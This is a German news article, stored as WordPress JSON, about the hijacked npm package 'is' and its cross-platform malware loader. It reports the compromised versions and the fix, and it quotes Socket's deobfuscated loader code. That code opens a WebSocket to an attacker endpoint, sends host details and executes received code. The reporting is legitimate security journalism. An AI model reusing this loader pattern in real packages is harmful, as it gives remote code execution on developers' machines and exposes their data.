{"id":292667,"date":"2025-07-25T10:56:09","date_gmt":"2025-07-25T10:56:09","guid":{"rendered":"https:\/\/www.europesays.com\/de\/292667\/"},"modified":"2025-07-25T10:56:09","modified_gmt":"2025-07-25T10:56:09","slug":"beliebtes-javascript-paket-is-malware-durch-supply-chain-angriff","status":"publish","type":"post","link":"https:\/\/www.europesays.com\/de\/292667\/","title":{"rendered":"Beliebtes JavaScript-Paket is: Malware durch Supply-Chain-Angriff"},"content":{"rendered":"<p>Ein Software-Supply-Chain-Angriff hat das beliebte JavaScript-Paket is getroffen, das es auf knapp 2,7 Millionen Downloads pro Woche bringt.<\/p>\n<p>Der Maintainer <a href=\"https:\/\/bsky.app\/profile\/jordan.har.band\/post\/3ludlbnstr22w\" rel=\"external noopener\" target=\"_blank\">Jordan Harband schreibt auf Bluesky<\/a>, dass Angreifer den Account eines anderen Projektverantwortlichen \u00fcbernommen hatten. Betroffen sind die Versionen 3.3.1 und 5.0.0 des Pakets.<\/p>\n<p>      Empfohlener redaktioneller Inhalt<\/p>\n<p class=\"opt-in__description\">\n    Mit Ihrer Zustimmung wird hier ein externer Inhalt geladen.\n  <\/p>\n<p>        Externen Inhalt jetzt laden\n      <\/p>\n<p>Beide Versionen waren offenbar nur wenige Stunden im Umlauf. Inzwischen ist <a href=\"https:\/\/www.npmjs.com\/package\/is\" rel=\"external noopener\" target=\"_blank\">auf der npm-Seite die Version 3.3.2 verf\u00fcgbar<\/a>, die keinen Schadcode erh\u00e4lt. Als \u00dcbergang hatte Harband die neueren Releases f\u00fcr deprecated erkl\u00e4rt und 3.3.0 als letzte aktive Version markiert, damit Prozesse, die automatisch die j\u00fcngste Version eines JavaScript-Pakets von npm anfordern, nicht weiter den Schadcode herunterladen.<\/p>\n<p>Bei is handelt es sich um eine Testing-Library, die unter anderem \u00fcberpr\u00fcft, ob ein Wert definiert (is.defined), leer (is.empty) oder von einem bestimmten Typ (generell \u00fcber is.type(value, type) oder speziell als is.integer, is.bool, is.array etc.) ist.<\/p>\n<p>    <img loading=\"lazy\" decoding=\"async\" alt=\"enterJS Web Security Day\" height=\"1080\" src=\"data:image\/svg+xml,%3Csvg xmlns='http:\/\/www.w3.org\/2000\/svg' width='696px' height='391px' viewBox='0 0 696 391'%3E%3Crect x='0' y='0' width='696' height='391' fill='%23f2f2f2'%3E%3C\/rect%3E%3C\/svg%3E\" style=\"aspect-ratio: 1920 \/ 1080; object-fit: cover;\" width=\"1920\"\/><\/p>\n<p class=\"a-caption__source\">\n      (Bild:\u00a0Alexander Supertramp\/Shutterstock.com)\n    <\/p>\n<p>Neun von zehn Webanwendungen haben Sicherheitsl\u00fccken \u2013 h\u00f6chste Zeit f\u00fcr Web Developer, zu handeln. Auf dem ersten <a href=\"https:\/\/enterjs.de\/security.php?wt_mc=intern.academy.dpunkt.konf_dpunkt_ejs_websec.empfehlung-ho.link.link\" rel=\"external noopener\" target=\"_blank\">enterJS Web Security Day<\/a> am 9. Oktober 2025 geht es um automatisierte Sicherheitspr\u00fcfungen, den Einsatz von Passkeys und den Schutz vor KI-basierten Angriffen.<\/p>\n<p>Plattform\u00fcbergreifender Malware-Loader an Bord<\/p>\n<p>Offenbar war dieselbe Angreifergruppe erfolgreich, die <a href=\"https:\/\/socket.dev\/blog\/npm-phishing-email-targets-developers-with-typosquatted-domain\" rel=\"external noopener\" target=\"_blank\">mit einer Phishing-Attacke<\/a> zuvor zahlreiche npm-Maintainer getroffen und bereits die Pakete eslint\u2011config\u2011prettier, eslint\u2011plugin\u2011prettier, synckit@0.11.9, @pkgr\/core, napi\u2011postinstall und got-fetch mit Schadcode versehen hatte.<\/p>\n<p>Der Angriff auf die anderen Pakete zielte mit einer DLL nur auf Windows. Ein <a href=\"https:\/\/invokere.com\/posts\/2025\/07\/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise\/\" rel=\"external noopener\" target=\"_blank\">Blogartikel auf Invoke RE<\/a> beschreibt die in dem Paket eslint\u2011config\u2011prettier gefundene Scavenger-Malware genauer.<\/p>\n<p>Der Malware-Loader im is-Paket schl\u00e4gt dagegen plattform\u00fcbergreifend unter Windows, macOS und Linux zu.<\/p>\n<p>Versteckter Schadcode mit Remote Shell<\/p>\n<p>Ein <a href=\"https:\/\/socket.dev\/blog\/npm-is-package-hijacked-in-expanding-supply-chain-attack\" rel=\"external noopener\" target=\"_blank\">Blogbeitrag des Security-Softwareunternehmens Socket<\/a> beschreibt die Arbeitsweise des verschleierten JavaScript-Codes. Der Loader erstellt die Payload demnach vollst\u00e4ndig im Speicher des betroffenen Systems und legt den dekodierten Schadcode mittels new Function() als eigene Funktion an.<\/p>\n<p>Diese Funktion fragt schlie\u00dflich zahlreiche Details wie den Hostnamen, das Betriebssystem, Details zur CPU und Umgebungsvariablen von process.env ab. Schlie\u00dflich nutzt sie die Library ws, um eine WebSocket-Verbindung aufzubauen und die Daten zu \u00fcbertragen.<\/p>\n<p>Das Security-Team von Socket hat den entschleierten Schadcode mit Kommentaren versehen, die die Funktionen beschreiben:<\/p>\n<p>\/\/ Expose Node&#8217;s `require`, even in restricted contexts (e.g., Electron)<br \/>\nget &#8222;switch&#8220;() { return require; }<\/p>\n<p>\/\/ Load system and networking modules dynamically<br \/>\nconst os = this[&#8222;switch&#8220;](&#8222;os&#8220;);<br \/>\nconst WS = this[&#8222;switch&#8220;](&#8222;ws&#8220;);<\/p>\n<p>\/\/ Connect to threat actor-controlled WebSocket endpoint<br \/>\nconst sock = new WS(&#8222;wss:\/\/&#8220;);<\/p>\n<p>\/\/ Send host fingerprinting data on connect<br \/>\nsock.onopen = () =&gt; sock.send(JSON.stringify({<br \/>\n  host: os.hostname(),<br \/>\n  plat: os.platform(),<br \/>\n  cwd : process.cwd()<br \/>\n}));<\/p>\n<p>\/\/ Execute threat actor-supplied code received over the socket<br \/>\nsock.onmessage = ({ data }) =&gt; {<br \/>\n  new Function(data)();  \/\/ remote code execution<br \/>\n};<\/p>\n<p>Im letzten Abschnitt ist erkennbar, dass der Schadcode mit der WebSocket-Verbindung eine Remote Shell aufbaut: Er f\u00fchrt den empfangenen JavaScript-Code direkt \u00fcber new Function() aus. Der aufgerufene Code hat dieselben Rechte wie der Host-Prozess, sodass er \u00fcblicherweise direkten Zugriff aufs Dateisystem und den Netzwerkverkehr hat.<\/p>\n<p>Wer die Library einbindet, sollte sicherstellen, dass keine der infizierten Varianten auf den Rechner gelangt sind. Es ist zudem davon auszugehen, dass die Angreifergruppe weitere JavaScript-Maintainer im Fokus hatte oder hat.<\/p>\n<p>(<a class=\"redakteurskuerzel__link\" href=\"https:\/\/www.heise.de\/news\/mailto:rme@ix.de\" title=\"Rainald Menge-Sonnentag\" target=\"_blank\" rel=\"noopener\">rme<\/a>)<\/p>\n<p>\n      Dieser Link ist leider nicht mehr g\u00fcltig.\n    <\/p>\n<p>Links zu verschenkten Artikeln werden ung\u00fcltig,<br \/>\n      wenn diese \u00e4lter als 7\u00a0Tage sind oder zu oft aufgerufen wurden.\n    <\/p>\n<p><strong>Sie ben\u00f6tigen ein heise+ Paket, um diesen Artikel zu lesen. Jetzt eine Woche unverbindlich testen \u2013 ohne Verpflichtung!<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"Ein Software-Supply-Chain-Angriff hat das beliebte JavaScript-Paket is getroffen, das es auf knapp 2,7 Millionen Downloads pro Woche bringt.&hellip;\n","protected":false},"author":2,"featured_media":292668,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[135],"tags":[29,30,196,39447,11850,39452,190,189,11560,194,191,193,192],"class_list":{"0":"post-292667","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-wissenschaft-technik","8":"tag-deutschland","9":"tag-germany","10":"tag-it","11":"tag-javascript","12":"tag-malware","13":"tag-npm","14":"tag-science","15":"tag-science-technology","16":"tag-supply-chain","17":"tag-technik","18":"tag-technology","19":"tag-wissenschaft","20":"tag-wissenschaft-technik"},"share_on_mastodon":{"url":"https:\/\/pubeurope.com\/@de\/114913514839419303","error":""},"_links":{"self":[{"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/posts\/292667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/comments?post=292667"}],"version-history":[{"count":0,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/posts\/292667\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/media\/292668"}],"wp:attachment":[{"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/media?parent=292667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/categories?post=292667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europesays.com\/de\/wp-json\/wp\/v2\/tags?post=292667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}